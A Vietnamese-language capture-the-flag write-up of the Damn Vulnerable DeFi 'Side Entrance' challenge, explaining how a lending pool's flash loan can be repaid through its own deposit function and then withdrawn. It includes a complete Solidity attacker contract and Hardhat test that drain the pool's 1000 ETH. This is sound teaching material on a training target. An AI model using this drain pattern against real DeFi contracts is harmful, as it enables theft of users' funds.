Skip to content

Damn Vulnerable Defi writeups: 04 - Side Entrance

Posted on:March 13, 2022

Challenge #4 - Side entrance

Nhiệm vụ: có một lending pool cho phép deposit và withdraw ETH tại bất cứ thời điểm nào. Trong pool chứa 1000 ETH, và cho phép thực hiện flash loan free. Mục tiêu của ta là lấy hết ETH trong pool.

Phân tích

Để hoàn trả tiền flash loan, contract vay cần thực hiện hàm execute:

IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

ta nhận thấy rằng, để gửi tiền cho contract, ta có 2 cách, một là gửi trực tiếp cho contract, hai là gửi thông qua hàm deposit để ta có thể rút ra sau này

function deposit() external payable {
    balances[msg.sender] += msg.value;
}

Do đó ta nảy sinh kịch bản như sau:

Exploit

Ta sử dụng một contract để tiến hành flash loan như sau:

contract RektSideEntrance {
    SideEntranceLenderPool pool;

    constructor(address poolAddress) {
        pool = SideEntranceLenderPool(poolAddress);
    }

    function rekt() external payable {
        pool.flashLoan(1000 ether);
    }

    function execute() external payable {
        pool.deposit{value: 1000 ether}();
    }

    function withdraw() external {
        pool.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }

    receive() external payable {}
}

Tiến hành deploy, thực hiện flash loan và sau đó withdraw:

it("Exploit", async function () {
  /** CODE YOUR EXPLOIT HERE */
  const RektSideEntrance = await ethers.getContractFactory(
    "RektSideEntrance",
    attacker
  );

  this.rekt = await RektSideEntrance.deploy(this.pool.address);

  await this.rekt.connect(attacker).rekt();
  await this.rekt.connect(attacker).withdraw();
});

Check lại kết quả

[Challenge] Side entrance
Exploit (121ms)


1 passing (935ms)

All done!